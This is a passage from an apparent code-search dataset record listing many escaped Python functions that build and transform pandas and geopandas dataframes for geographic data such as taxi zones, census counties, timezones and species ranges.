\"purpose\"]]","def preprocess(df_kek):\n df = pd.DataFrame([])\n df['ETA'] = df_kek['ETA']\n df['EDA'] = df_kek['EDA']\n df['ESP'] = df['EDA'] / df['ETA']\n if 'p200' in df_kek.columns:\n df['p200'] = df_kek['p200']\n df['p500'] = df_kek['p500']\n df['p1000'] = df_kek['p1000']\n df['route_num'] = df_kek['route'].apply(lambda x: 0 if pd.isna(x) else len(polyline.decode(x)))\n df = pd.concat([df, add_time_features(set_time_by_timezone(df_kek))], axis=1)\n df = pd.concat([df, add_distance_features(df_kek)], axis=1)\n\n return df","def create_temp_df_for_address_handling(df: pd.DataFrame) -> pd.DataFrame:\n try:\n df_address = df[\n [\"memberid\", \"ZipCity\", \"AddressLine1\", \"PostBox\", \"Street\"]\n ].copy()\n except ValueError:\n print(\"Some address columns not found, please check the input file structures.\")\n\n df_address[\"zip\"] = df_address[\"ZipCity\"].apply(_get_zips)\n df_address[\"city\"] = df_address[\"ZipCity\"].apply(_get_cities)\n df_address[[\"zip\", \"city\"]] = df_address[[\"zip\", \"city\"]].replace(\"\", np.NaN)\n\n # Make sure all white-space only strings are set to np.nan\n return df_address.applymap(lambda x: np.nan if str(x).isspace() else x)","def add_loc_cols(df):\r\n\r\n\tdf['STATE'] = [int(i[1:3]) for i in df.gisjoin]\r\n\tdf['COUNTY'] = [int(i[4:7]) for i in df.gisjoin]\r\n\tdf['TRACT'] = [int(i[7:-4]) for i in df.gisjoin]\r\n\tdf['BLOCK'] = [int(i[-4:]) for i in df.gisjoin]\r\n\r\n\tif df.STATE[0] > 9:\r\n\t\traise Exception(\"Warning! Code might be incorrect for states with fips code > 9\")\r\n\r\n\treturn df","def get_data(n):\n data = pd.read_csv('map_data/lior_results_2.csv')\n data = data.drop(['estimated_mass', 'estimated_pop'], axis=1)\n data = data[data.binomial != 'Sus scrofa'] # Wild Boar\n data = data[data.binomial != 'Ursus maritimus'] # Polar bear\n data = data[data.binomial != 'Sus bucculentus'] # EX\n data = data[data.binomial != 'Melomys rubicola'] # EX\n data = data.assign(total_mass=data.AdultBodyMassG * data.pop_density * data.Range,\n total_mass_density=data.AdultBodyMassG * data.pop_density)\n data = data.sort_values(by='total_mass_density', ascending=False)\n data = data.iloc[0:n - 1]\n geo_data = gpd.read_file('TERRESTRIAL_MAMMALS/TERRESTRIAL_MAMMALS.shp').to_crs(\"EPSG:6933\")\n geo_data = geo_data[geo_data.category != 'EX']\n range_polygons = geo_data.loc[(geo_data['legend'] == 'Extant & Introduced (resident)') |\n (geo_data['legend'] == 'Extant & Origin Uncertain (resident)') |\n (geo_data['legend'] == 'Extant & Reintroduced (resident)') |\n (geo_data['legend'] == 'Extant & Vagrant (seasonality uncertain)') |\n (geo_data['legend'] == 'Extant (non breeding)') |\n (geo_data['legend'] == 'Extant (resident)') |\n (geo_data['legend'] == 'Probably Extant & Origin Uncertain (resident)') |\n (geo_data['legend'] == 'Probably Extant (resident)') |\n (geo_data['legend'] == 'Reintroduced')]\n range_polygons = range_polygons.merge(data, on='binomial')\n range_polygons = range_polygons.to_crs(\"EPSG:6933\")\n return range_polygons","def get_countryes(db_name=_db_indicators, country_txt_file=os.path.join('Source', 'work_countries.txt')):\n imf = cmm.READ_DB(db_name=None)\n country_list = cmm.read_countries(file_name=country_txt_file)\n print('CREATE IMF: reading countries from all neede datasets...', end=' ')\n coni = sa.create_engine('sqlite+pysqlite:///{db_name}'.format(db_name=db_name))\n dbSETS=pd.read_sql('SELECT DISTINCT Dataset from {INDI_NAME}'.format(INDI_NAME=cmm.strINDI_db_name), con=coni)\n\n cntrl=list()\n\n for k, d in dbSETS.iterrows():\n try:\n cntrl.append(pd.DataFrame(imf.get_datastructure_list(d['Dataset'])['Geographical Areas']).set_index('CL_AREA_{}'.format(d['Dataset'])))\n except KeyError:\n pass\n\n # pdfC = pd.concat([pd.DataFrame(imf.get_datastructure_list(d['Dataset'])['Geographical Areas']).set_index('CL_AREA_{}'.format(d['Dataset'])) for k, d in dbSETS.iterrows() ])\n pdfC = pd.concat(cntrl)\n\n pdfC=pdfC[pdfC.index.isin(country_list)]\n pdfC = pdfC[~pdfC.index.duplicated()]\n pdfC.index.name='id'\n pdfC=pdfC.rename(columns={'Geographical Areas':'Country'})\n print('done reading countries', end='\\n')\n return pdfC\n\n\n #print(dbSETS)","def as_DF(self):\n\n gs_df = pd.DataFrame(self.P, columns=self.xvec, index=self.yvec)\n gs_df.columns.name = 'x'\n gs_df.index.name = 'y'\n\n return gs_df","def create_subsets(subset_name, num_bg_ratings):\n bgplus_df = bgplus_table.get_full_df()\n details_df = details_table.get_full_df()\n users_df = users_table.get_full_df()\n ratings_df = ratings_table.get_full_df()\n ratings_df = ratings_df[ratings_df[\"bg_id\"].isin(details_df.iloc[:num_bg_ratings].index)]\n\n dump_dfs_to_trepos(subset_name, [(bgplus_df, bgplus_table), (details_df, details_table), (users_df, users_table), (ratings_df, ratings_table)])","def get_ARNA_flights_as_dfs():\n flight_nums = [216, 217, 218, 219, 220, 221, 222, 223, 224, 225]\n flight_IDs = ['C{}'.format(i) for i in flight_nums]\n dfs = {}\n for flight_ID in flight_IDs:\n print(flight_ID)\n try:\n df = AC.get_FAAM_locations_as_df(flight_ID=flight_ID)\n dfs[flight_ID] = df\n except:\n print('WARNING: failed for {}'.format(flight_ID))\n return dfs","def _finalize_features(self) -> DataFrameLike:\n all_features_dict = dict(ChainMap(*self._final_features.values()))\n return pd.DataFrame(all_features_dict)","def create_populations_from_settlement_fc(lines, point_distance):\n polygons = shape_to_polygons(lines)\n from forestentrydetection import create_population_grid\n return create_population_grid(polygons, [], gridPointDistance=point_distance)","def create_sample_dataframe():\n ax_readings = []\n ay_readings = []\n az_readings = []\n mx_readings = []\n my_readings = []\n mz_readings = []\n gx_readings = []\n gy_readings = []\n gz_readings = []\n activity_list = [LABELS_NAMES[0] for _ in range(SEGMENT_TIME_SIZE)]\n\n\n for _ in range(SEGMENT_TIME_SIZE):\n ax_readings.append(random.uniform(-10,10))\n ay_readings.append(random.uniform(-10,10))\n az_readings.append(random.uniform(-10,10))\n mx_readings.append(random.uniform(-10,10))\n my_readings.append(random.uniform(-10,10))\n mz_readings.append(random.uniform(-10,10))\n gx_readings.append(random.uniform(-10,10))\n gy_readings.append(random.uniform(-10,10))\n gz_readings.append(random.uniform(-10,10))\n\n data_dict = {\n COLUMN_NAMES[0]: activity_list, COLUMN_NAMES[1]: ax_readings,\n COLUMN_NAMES[2]: ay_readings, COLUMN_NAMES[3]: az_readings,\n COLUMN_NAMES[4]: gx_readings, COLUMN_NAMES[5]: gy_readings,\n COLUMN_NAMES[6]: gz_readings, COLUMN_NAMES[7]: mx_readings,\n COLUMN_NAMES[8]: my_readings, COLUMN_NAMES[9]: mz_readings\n }\n\n df = pd.DataFrame(data=data_dict)\n return df","def to_geojson(gdf):\r\n covid_json = gdf.to_json()\r\n return covid_json","def initialize_all_df(itinerary_nodes):\n\n # Build nested bundles and assign IDs\n\n # (itinerary_ID, itinerary_node)\n itin_nodes = [(str(uuid.uuid4()), itin) for itin in itinerary_nodes]\n\n # (itinerary_ID, leg_ID, leg_node, numbering)\n leg_nodes = [(itin[0], str(uuid.uuid4()), leg, i)\n for itin in itin_nodes\n for i, leg in enumerate(xml_path.get_leg_nodes(itin[1]))]\n\n # (leg_ID, segment_ID, segment_node, numbering)\n seg_nodes = [(leg[1], str(uuid.uuid4()), seg, i * 2)\n for leg in leg_nodes\n for i, seg in enumerate(xml_path.get_segment_nodes(leg[2]))]\n\n # Turn the itineraries into a dataframe\n itin_nodes_df = pd.DataFrame(itin_nodes, columns=['itinerary_id', 'node'])\n itinerary_df = ids.init_itineraries_df({'itinerary_id': itin_nodes_df['itinerary_id'],\n 'node': itin_nodes_df['node']\n })\n\n # Turn the legs into a dataframe\n leg_nodes_df = pd.DataFrame(leg_nodes, columns=['itinerary_id', 'leg_id', 'node', 'leg_number'])\n legs_df = ids.init_legs_df({'leg_id': leg_nodes_df['leg_id'],\n 'node': leg_nodes_df['node'],\n 'leg_number': leg_nodes_df['leg_number']\n })\n\n # Turn the segments into a dataframe\n seg_nodes_df = pd.DataFrame(seg_nodes, columns=['leg_id', 'segment_id', 'node', 'segment_number'])\n segments_df = ids.init_segments_df({'segment_id': seg_nodes_df['segment_id'],\n 'node': seg_nodes_df['node'],\n 'segment_number': seg_nodes_df['segment_number']\n })\n\n # Build the link table dataframe\n merged_link = pd.merge(leg_nodes_df[['itinerary_id', 'leg_id']],\n seg_nodes_df[['leg_id', 'segment_id']],\n on='leg_id', how='outer')\n trip_link_df = ids.init_trip_link_df({'itinerary_id': merged_link['itinerary_id'],\n 'leg_id': merged_link['leg_id'],\n 'segment_id': merged_link['segment_id']\n })\n\n return trip_link_df, itinerary_df, legs_df, segments_df","def populate(self):\n\n NUM_COUNTRIES = 2 # random.randint(1, 4)\n\n # find a suitable hex\n with Timer(\"Creating initial data\", debug=self.debug):\n\n for i in range(NUM_COUNTRIES):\n country, provinces, pops = create_country(self, self.map)\n country.determine_tax_policy()\n self.countries.append(country)","def get_shapes4country(country='South Africa'):\n # location of data\n URL = \"http://www.naturalearthdata.com/downloads/10m-cultural-vectors\"\n URL += \"/10m-admin-1-states-provinces/\"\n # Shapefiles locally?\n # TODO - update to download automatically and store in AC_tools' data directory\n shapefiles = 'ne_10m_admin_1_states_provinces_lakes'\n# shapefiles = 'ne_10m_admin_1_states_provinces'\n folder = '/mnt/lustre/users/ts551/labbook/Python_progs/'\n folder += '/AC_tools/data/shapefiles/{}'.format(shapefiles, shapefiles)\n states = geopandas.read_file(folder)\n # Just select state of interest\n choosen_states = states.query(\"admin == '{}'\".format(country))\n choosen_states = choosen_states.reset_index(drop=True)\n # Get the shapes\n shapes = zip(choosen_states.geometry, range(len(choosen_states)))\n return shapes","def make_base_dataframe():\n co_data_path = r\"C:\\Users\\User\\Documents\\LUCAS2015_topsoildata_20200323\\LUCAS_Topsoil_2015_20200323.csv\"\n\n col_list = [\"Point_ID\", \"NUTS_0\", \"OC\"]\n df = pd.read_csv(co_data_path, usecols=col_list)\n max_value = df[\"OC\"].max()\n for i in range(20, int(max_value) + 1, 20):\n df.loc[(df['OC'] < i) & (df['OC'] > (i - 20)), ['OC_state']] = f'{i-20}-{i}'\n return df","def get_ax(self, data):\n timezone = list([x for x in data if 'UTC' in x])\n\n timezone_start = tuple((x/255 for x in (0, 255, 0, 100)))\n country_start = tuple((x/255 for x in (0, 100, 0)))\n # We ignore some countries, as they are too big and need a higher\n # resolution for precise timezone assignment.\n ignored_countries = ['United States', 'Australia', 'Brazil', 'Canada']\n\n ax = plt.axes(projection=ccrs.PlateCarree())\n\n # Print countries and state borders\n ax.add_feature(cartopy.feature.LAND)\n ax.add_feature(cartopy.feature.OCEAN)\n ax.add_feature(cartopy.feature.COASTLINE)\n ax.add_feature(cartopy.feature.BORDERS)\n for state in self.states:\n ax.add_geometries(\n state.geometry,\n ccrs.PlateCarree(),\n facecolor=np.array((240, 240, 220)) / 256,\n edgecolor='black',\n label=state.attributes['name'],\n )\n\n collected_countries = []\n collected_timezones = []\n collected_states = []\n\n timezones_to_draw = []\n countries_to_draw = []\n states_to_draw = []\n for name in data:\n # Color the timezone if we find one\n name = map_timezone_to_utc(name)\n if name in self.timezones_by_name:\n timezone = self.timezones_by_name[name]\n\n # Prevent timezone from being applied multiple times.\n utc_name = timezone.attributes['utc_format']\n if utc_name not in collected_timezones:\n collected_timezones.append(utc_name)\n timezones_to_draw.append(timezone)\n\n # Check if we find a country for this timezone and draw it\n if name in timezone_country:\n # Check if we have a country code for this timezone\n country_code = timezone_country[name]\n\n # We have no country for this code.\n # Unfortunately the natural earth database is a little inconsistent.\n # Try to get the full name of the country by using pycountry\n # and resolve the country by this name.\n if country_code not in self.countries_by_iso_a2:\n try:\n name = pycountries.get(alpha_2=country_code).name\n except KeyError:\n continue\n\n # We found a full name for this code.\n # Check if we have a country for this name.\n if name not in self.countries_by_name:\n continue\n\n # We found a country for this name. Proceed\n country = self.countries_by_name[name]\n\n else:\n country = self.countries_by_iso_a2[country_code]\n\n # This country is too big and has many timezones it it.\n # Try to get the state name and to color only the interesting states.\n if country.attributes['NAME_LONG'] in ignored_countries:\n state = map_timezone_to_state(name)\n\n # We couldn't find a state for this timezone\n if state is None:\n continue\n\n # We don't have this state name in our world data\n if state not in self.states_by_name:\n continue\n\n # We already have this state\n if state in collected_states:\n continue\n\n # Found a state\n collected_states.append(state)\n state = self.states_by_name[state]\n states_to_draw.append(state)\n\n continue\n\n # Avoid to draw the same country multiple times\n country_name = country.attributes['NAME_LONG']\n if country_name in collected_countries:\n continue\n\n collected_countries.append(country_name)\n countries_to_draw.append(country)\n\n # Draw everything at the end.\n # Otherwise timezones might draw over countries and fuck up the image.\n for timezone in timezones_to_draw:\n ax.add_geometries(\n timezone.geometry,\n ccrs.PlateCarree(),\n facecolor=timezone_start,\n label=name,\n )\n\n for country in countries_to_draw:\n ax.add_geometries(\n country.geometry,\n ccrs.PlateCarree(),\n facecolor=country_start,\n edgecolor='black',\n label=country_name,\n )\n\n for state in states_to_draw:\n ax.add_geometries(\n state.geometry,\n ccrs.PlateCarree(),\n facecolor=country_start,\n edgecolor='black',\n label=state.attributes['name'],\n )\n\n return ax","def df_with_hexid_to_gdf(df, hexcolname='_id'):\n df_geometry=hexlist_to_geodataframe(df[hexcolname].to_list())\n #Creando el geodataframe\n gdf=gpd.GeoDataFrame(df, geometry=df_geometry['geometry'])\n gdf.crs = 'EPSG:4326'\n return gdf"],"string":"[\n \"def taxa_data_frame(self):\\n cols = list(self._taxa.keys())\\n cols.remove(\\\"uid\\\")\\n cols.remove(\\\"object\\\")\\n df = DataFrame(self._taxa, columns=cols, index=self._taxa[\\\"uid\\\"])\\n df.index.name = \\\"uid\\\"\\n\\n return df\",\n \"def taxi_zones(path, storage_options=None):\\n zdf = pd.read_csv(path, storage_options=storage_options)\\n zdf = zdf.drop(\\\"OBJECTID\\\", axis=\\\"columns\\\")\\n zdf = zdf.set_index(\\\"LocationID\\\")\\n return zdf\",\n \"def _regions(self, voronoi_diagram, unique_id, ids, crs):\\n # generate DataFrame of results\\n regions = pd.DataFrame()\\n regions[unique_id] = ids # add unique id\\n regions[\\\"region\\\"] = voronoi_diagram.point_region # add region id for each point\\n\\n # add vertices of each polygon\\n vertices = []\\n for region in regions.region:\\n vertices.append(voronoi_diagram.regions[region])\\n regions[\\\"vertices\\\"] = vertices\\n\\n # convert vertices to Polygons\\n polygons = []\\n for region in tqdm(regions.vertices, desc=\\\"Vertices to Polygons\\\"):\\n if -1 not in region:\\n polygons.append(Polygon(voronoi_diagram.vertices[region]))\\n else:\\n polygons.append(None)\\n # save polygons as geometry column\\n regions[\\\"geometry\\\"] = polygons\\n\\n # generate GeoDataFrame\\n regions_gdf = gpd.GeoDataFrame(regions.dropna(), geometry=\\\"geometry\\\")\\n regions_gdf = regions_gdf.loc[\\n regions_gdf[\\\"geometry\\\"].length < 1000000\\n ] # delete errors\\n regions_gdf = regions_gdf.loc[\\n regions_gdf[unique_id] != -1\\n ] # delete hull-based cells\\n regions_gdf.crs = crs\\n return regions_gdf\",\n \"def createTerritoryGeometries(config, start_time):\\n # get the correct names for all of the provinces within each territory\\n file_name = config['shape_files_path'] + config['county_shape_file_name']\\n names_df = gpd.read_file(file_name)\\n names_df.rename(columns={'NAMELSAD':'NAME'})\\n names_df = names_df[['GEOID', 'NAME']]\\n\\n df_holder = []\\n # read in block files for the 4 excluded US territories\\n for territory in ['60','66','69','78']:\\n try:\\n temp_time = time.localtime()\\n # open the appropriate block file for the given territory\\n file_name = config['shape_files_path'] +\\\\\\n \\\"block/tl_%s_%s_tabblock%s.shp\\\" %\\\\\\n (config['census_vintage'],territory,config['census_vintage'][2:])\\n temp_df = gpd.read_file(file_name)\\n # modify the column names so they match what we expect in the tract and \\n # county geojson files\\n change_columns = { 'STATEFP%s' % config['census_vintage'][2:]:'state_fips', \\n 'COUNTYFP%s' % config['census_vintage'][2:]: 'county_fips',\\n 'GEOID%s' % config['census_vintage'][2:]:'block_fips',\\n 'ALAND%s' % config['census_vintage'][2:]:'aland'}\\n temp_df.rename(columns=change_columns, inplace=True)\\n\\n # create the tract file for the given territory\\n tract_df = temp_df[['block_fips', 'aland', 'geometry']]\\n tract_df['GEOID'] = tract_df['block_fips'].str[:11]\\n tract_df['NAME']=tract_df['GEOID'].str[5:11]\\n tract_df['NAME'] = np.where(tract_df['NAME'].str[4:6] != '00', \\n tract_df['NAME'].str[:4] + \\\".\\\" + tract_df['NAME'].str[4:6], \\n tract_df['NAME'].str[:4])\\n\\n # dissolve the blocks into tract level detail\\n tract_df=tract_df[['GEOID', 'NAME', 'geometry']].loc[tract_df['aland']>0].dissolve(by='GEOID')\\n tract_df.reset_index(inplace=True)\\n\\n # save the newly created tracts for the territory into a shape file\\n # for later use by processes\\n file_name = config['shape_files_path'] +\\\\\\n \\\"tract/gz_%s_%s_140_00_500k.shp\\\" %\\\\\\n (config['census_vintage'],territory)\\n tract_df.to_file(file_name)\\n\\n # provide status or data processing\\n my_message = \\\"\\\"\\\"\\n INFO - STEP 0 (MASTER): TASK 3 OF 13 - FINISHED WRITING TRACT SHAPE FILE\\n FOR US TERRITORY %s\\n \\\"\\\"\\\" % territory\\n my_message = ' '.join(my_message.split()) \\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\\n time.mktime(time.localtime())-time.mktime(start_time)))\\n except:\\n # there was an error in processing. Capture the error and output the\\n # stacktrace to the screen\\n my_message = \\\"\\\"\\\"\\n ERROR - STEP 0 (MASTER): TASK 3 OF 13 - FAILED WRITING TRACT SHAPE FILE\\n FOR US TERRITORY %s\\n \\\"\\\"\\\" % territory \\n my_message += \\\"\\\\n\\\" + traceback.format_exc()\\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\\n time.mktime(time.localtime())-time.mktime(start_time)))\\n return False\\n\\n try:\\n # create the dataframe for capturing county level data\\n temp_time = time.localtime()\\n county_df = temp_df[['state_fips', 'county_fips', 'aland', 'geometry']]\\n county_df['GEOID'] = county_df['state_fips'] + county_df['county_fips']\\n\\n # merge the block level data at the county level to get the geometry\\n county_df=county_df[['GEOID', 'geometry']].loc[county_df['aland']>0].dissolve(by='GEOID')\\n\\n # the county records for US states include names. The names cannot\\n # be easily constructed following a set of rules, so instead we just\\n # merge the names of the territories that are listed in the tiger line\\n # files with the geometries we just calculated. This ends up giving\\n # us the information we need to create the equivalent of a fully \\n # populated 2010 county cartographic file that includes territories\\n county_df = county_df.merge(names_df, left_on='GEOID', right_on='GEOID')\\n county_df = county_df[['GEOID', 'NAME', 'geometry']]\\n\\n # append the information to a list that we will process later\\n df_holder.append(county_df)\\n\\n # provide the status on the data processing for this task\\n my_message = \\\"\\\"\\\"\\n INFO - STEP 0 (MASTER): TASK 3 OF 13 - PROCESSED COUNTY DATA FOR\\n US TERRITORY %s\\n \\\"\\\"\\\" % territory\\n my_message = ' '.join(my_message.split()) \\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\\n time.mktime(time.localtime())-time.mktime(start_time)))\\n except:\\n # there was an error in processing. Capture the error and output the\\n # stacktrace to the screen \\n my_message = \\\"\\\"\\\"\\n ERROR - STEP 0 (MASTER): TASK 3 OF 13 - FAILED PROCESSING COUNTY DATA\\n FOR US TERRITORY %s\\n \\\"\\\"\\\" % territory \\n my_message += \\\"\\\\n\\\" + traceback.format_exc()\\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\\n time.mktime(time.localtime())-time.mktime(start_time)))\\n return False \\n\\n try:\\n # now that we have the county level data for the territories, we need to merge\\n # it with the US county data and create a single file for subsequent processing\\n # open the county cartographic bounday file\\n file_name = config['shape_files_path'] + config['county_cb_shape_file_name']\\n county = gpd.read_file(file_name)\\n\\n # the cartographic boundary files do not have full names, so concatenate the \\n # name and lsad columns and overwrite the original name\\n county['NAME']=county['NAME'] + ' ' + county['LSAD']\\n\\n # extract the county fips from the non-standard county fips identifier in the\\n # 2010 cartographic boundary file and then preserve only the necessary columns\\n county['GEOID']=county['GEO_ID'].str[9:]\\n county = county[['GEOID', 'NAME','geometry']]\\n\\n # append the county data to the list to be used to build the single file\\n df_holder.append(county)\\n\\n # merge all of the dataframes into a single dataframe, sort it, and then \\n # write the file out as a shape file so it can be used later for subsequent\\n # data processing\\n counties = pd.concat([x for x in df_holder])\\n counties.sort_values(by='GEOID',inplace=True)\\n file_name = config['shape_files_path'] + config['county_gzm_shape_file_name']\\n counties.to_file(file_name)\\n \\n # provide the status on the data processing for this task\\n my_message = \\\"\\\"\\\"\\n INFO - STEP 0 (MASTER): TASK 3 OF 13 - COMPLETED UPDATING COUNTY \\n CARTOGRAPHIC SHAPE FILE\\n \\\"\\\"\\\" \\n my_message = ' '.join(my_message.split()) \\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\\n time.mktime(time.localtime())-time.mktime(start_time))) \\n return True \\n\\n except:\\n # there was an error in processing. Capture the error and output the\\n # stacktrace to the screen \\n my_message = \\\"\\\"\\\"\\n ERROR - STEP 0 (MASTER): TASK 3 OF 13 - FAILED UPDATING COUNTY \\n CARTOGRAPHIC SHAPE FILE\\n \\\"\\\"\\\" \\n my_message += \\\"\\\\n\\\" + traceback.format_exc()\\n print(nbmf.logMessage(my_message, temp_time, time.localtime(),\\n time.mktime(time.localtime())-time.mktime(start_time)))\\n return False\",\n \"def makeGeoDf(self, arr: dict):\\n geometry_points = [Point(x, y) for x, y in zip(arr[\\\"X\\\"], arr[\\\"Y\\\"])]\\n elevetions = arr[\\\"Z\\\"]\\n df = gpd.GeoDataFrame(columns=[\\\"elevation\\\", \\\"geometry\\\"])\\n df['elevation'] = elevetions\\n df['geometry'] = geometry_points\\n df = df.set_geometry(\\\"geometry\\\")\\n df.set_crs(self.output_epsg, inplace=True)\\n return df\",\n \"def _regions(self, voronoi_diagram, unique_id, ids, crs):\\n vertices = pd.Series(voronoi_diagram.regions).take(voronoi_diagram.point_region)\\n polygons = []\\n for region in vertices:\\n if -1 not in region:\\n polygons.append(pygeos.polygons(voronoi_diagram.vertices[region]))\\n else:\\n polygons.append(None)\\n\\n regions_gdf = gpd.GeoDataFrame(\\n {unique_id: ids}, geometry=polygons, crs=crs\\n ).dropna()\\n regions_gdf = regions_gdf.loc[\\n regions_gdf[unique_id] != -1\\n ] # delete hull-based cells\\n\\n return regions_gdf\",\n \"def to_frame(self):\\n return gpd.GeoDataFrame(\\n data=range(0, self.nleaves),\\n geometry=self.to_geom(),\\n crs=self.crs,\\n columns=['id'],\\n )\",\n \"def create_airports(data):\\n \\n airport_cities = pd.DataFrame(data)\\n geometry = [Point(xy) for xy in zip(airport_cities.lon, airport_cities.lat)]\\n airport_cities = airport_cities.drop(['lon', 'lat'], axis=1)\\n crs = {'init': 'epsg:4326'}\\n geo_airport_cities = gpd.GeoDataFrame(airport_cities, crs=crs, geometry=geometry)\\n return geo_airport_cities\",\n \"def _load_county_geometry() -> geopandas.GeoDataFrame:\\n\\tfilename = shapefiles_folder / \\\"cb_2016_us_county_500k\\\"\\n\\ttable = read_geometry(filename)\\n\\n\\ttable['regionCode'] = [f\\\"{i:>02}{j:>03}\\\" for i, j in zip(table['STATEFP'].values, table['COUNTYFP'].values)]\\n\\treturn table\",\n \"def to_frame(self):\\n return gpd.GeoDataFrame(\\n data=self.tree_ids,\\n geometry=self.to_geom(),\\n crs=self.crs,\\n columns=['id'],\\n )\",\n \"def construct_polygon(self, polygon_longs: List, polygon_lats: List) -> gpd.GeoDataFrame:\\n\\n polygon_geom = Polygon(zip(polygon_longs, polygon_lats))\\n\\n crs = {'init': 'epsg:4326'}\\n polygon = gpd.GeoDataFrame(index=[0], crs=crs, geometry=[polygon_geom])\\n\\n polygon.to_file(filename=f'{self.polygon_path}/polygon_{self.postfix}.geojson', driver='GeoJSON')\\n polygon.to_file(filename=f'{self.polygon_path}/polygon_{self.postfix}.shp', driver=\\\"ESRI Shapefile\\\")\\n\\n self.monitor.info(\\\"-> Created area polygon.\\\")\\n return polygon\",\n \"def data_with_fips(self) -> pd.DataFrame:\\n return self.data\",\n \"def generatePolygons():\",\n \"def create_table(f, geoinfo):\\n bounds_cols = xb_points + yb_points\\n df = pd.read_csv(f, delimiter=\\\";\\\", index_col=\\\"INDEX_RC\\\")\\n df[duration_name] = parse_duration_level(f)\\n df = df.join(geoinfo[[\\\"X_CENT_GEO\\\", \\\"Y_CENT_GEO\\\", \\\"Col\\\", \\\"Row\\\"]])\\n df = df.rename(columns={\\\"Col\\\": x, \\\"Row\\\": y, \\\"X_CENT_GEO\\\": lon, \\\"Y_CENT_GEO\\\": lat})\\n return df\",\n \"def hexlist_to_geodataframe(list_hexagons):\\n df=pd.DataFrame(list_hexagons, columns=['hexid'])\\n def f(x):\\n #return h3.h3_to_geo_boundary(h3_address=x['hexid'],geo_json=False)\\n return hex_to_polygon(x['hexid'])\\n\\n gdf = gpd.GeoDataFrame(df, geometry=df.apply(f, axis=1))\\n return gdf\",\n \"def convert_shapefiles_to_dataframe(self, shapefiles: List[Shapefile]):\\n # Avoid needless encoding warnings\\n os.environ['CPL_ZIP_ENCODING'] = 'UTF-8'\\n subsets = []\\n # Drop null values (e.g., for not-yet-released shapefiles) from list of filepaths\\n filepaths = filter(None, shapefiles)\\n for filepath in filepaths:\\n try:\\n subset = load_geodataframe(filepath)\\n except BadZipFile:\\n logger.warning(\\n f'Warning: Failed to load zip file {filepath}. It may be corrupted. You might '\\n 'try clearing your autocensus cache by calling autocensus.clear_cache() or '\\n f'manually deleting the cache folder at {CACHE_DIRECTORY_PATH}. Continuing…'\\n )\\n continue\\n subsets.append(subset)\\n dataframe = pd.concat(subsets, ignore_index=True, sort=True)\\n\\n # Geometry columns\\n if self.geometry == 'polygons':\\n dataframe['geometry'] = (\\n dataframe['geometry'].map(coerce_polygon_to_multipolygon).map(flatten_geometry)\\n )\\n\\n # Clean up\\n affgeoid_field = identify_affgeoid_field(dataframe.columns)\\n columns_to_keep = [affgeoid_field, 'year', 'geometry']\\n dataframe = dataframe.loc[:, columns_to_keep]\\n return dataframe\",\n \"def convert_data (data_taxi,density):\\n \\n n_trips = len(data_taxi)\\n \\n min_longitude = min(min(list(data_taxi.loc[:,'pickup_longitude'])),\\n min(list(data_taxi.loc[:,'dropoff_longitude'])))\\n max_longitude = max(max(list(data_taxi.loc[:,'pickup_longitude'])),\\n max(list(data_taxi.loc[:,'dropoff_longitude'])))\\n min_latitude = min(min(list(data_taxi.loc[:,'pickup_latitude'])),\\n min(list(data_taxi.loc[:,'dropoff_latitude'])))\\n max_latitude = max(max(list(data_taxi.loc[:,'pickup_latitude'])),\\n max(list(data_taxi.loc[:,'dropoff_latitude'])))\\n \\n e_longitude = max_longitude - min_longitude\\n \\n e_latitude = max_latitude - min_latitude\\n \\n scale =np.sqrt( n_trips/( e_longitude* e_latitude * density) )\\n\\n taxis = []\\n \\n for i in range(n_trips):\\n selected_taxi = data_taxi.iloc[i]\\n departure = [int((selected_taxi.pickup_longitude - min_longitude) * scale),\\n int((selected_taxi.pickup_latitude - min_latitude) * scale),\\n ]\\n \\n arrival = [\\n int((selected_taxi.dropoff_longitude - min_longitude) * scale),\\n int((selected_taxi.dropoff_latitude - min_latitude) * scale)]\\n \\n taxis.append(taxi(departure,arrival,departure))\\n return taxis,int(scale*(e_latitude))+1,int(scale*(e_longitude))+1\",\n \"def df_customers_features_build(self):\\n\\n df_customers_rfm = self._df_customers_rfm.copy()\\n df_customers_timeFeature = self._df_customers_timeFeature.copy()\\n df_customers_nlp = self._df_customers_pca_nlp.copy()\\n\\n #-------------------------------------------------------------------------\\n # Dataframe are aggregated; note that indexes are customerID.\\n #-------------------------------------------------------------------------\\n df_customers = pd.DataFrame()\\n\\n df_customers = pd.concat([df_customers,df_customers_rfm], axis=1)\\n\\n df_customers = pd.concat([df_customers,df_customers_timeFeature]\\\\\\n , join='inner', axis=1)\\n\\n df_customers = pd.concat([df_customers,df_customers_nlp]\\\\\\n , join='inner', axis=1)\\n \\n self.strprint(\\\"All features : \\\"+str(df_customers.shape))\\n self._df_customers = df_customers.copy()\\n return\",\n \"def get_usa_states_geo_df() -> geopandas.GeoDataFrame:\\n\\n geo_df: geopandas.GeoDataFrame = geopandas.read_file(\\n GEO_DATA_DIR / \\\"cb_2017_us_state_20m\\\" / \\\"cb_2017_us_state_20m.shp\\\"\\n ).rename(columns={\\\"STUSPS\\\": CODE}, errors=\\\"raise\\\")\\n\\n geo_df = geo_df[\\n [\\n \\\"STATEFP\\\",\\n # \\\"STATENS\\\",\\n # \\\"AFFGEOID\\\",\\n # \\\"GEOID\\\",\\n CODE,\\n # \\\"NAME\\\",\\n \\\"LSAD\\\",\\n # \\\"ALAND\\\",\\n # \\\"AWATER\\\",\\n \\\"geometry\\\",\\n ]\\n ]\\n\\n return geo_df\",\n \"def join_with_zones(taxi_rides_df, taxi_zones_df):\\n # inner join on pickup location id, drop duplicate columns\\n taxi_rides_df = taxi_rides_df.merge(taxi_zones_df, how=\\\"inner\\\",\\n left_on=\\\"PULocationID\\\",\\n right_on=\\\"LocationID\\\",\\n right_index=True)\\n taxi_rides_df = taxi_rides_df.drop(\\\"PULocationID\\\", axis=\\\"columns\\\")\\n # inner join on drop off location id, drop duplicate columns\\n taxi_rides_df = taxi_rides_df.merge(taxi_zones_df, how=\\\"inner\\\",\\n left_on=\\\"DOLocationID\\\",\\n right_on=\\\"LocationID\\\",\\n suffixes=[\\\"_PU\\\", \\\"_DO\\\"],\\n right_index=True)\\n taxi_rides_df = taxi_rides_df.drop(\\\"DOLocationID\\\", axis=\\\"columns\\\")\\n return taxi_rides_df\",\n \"def get_zone_list(self, building_id: str) 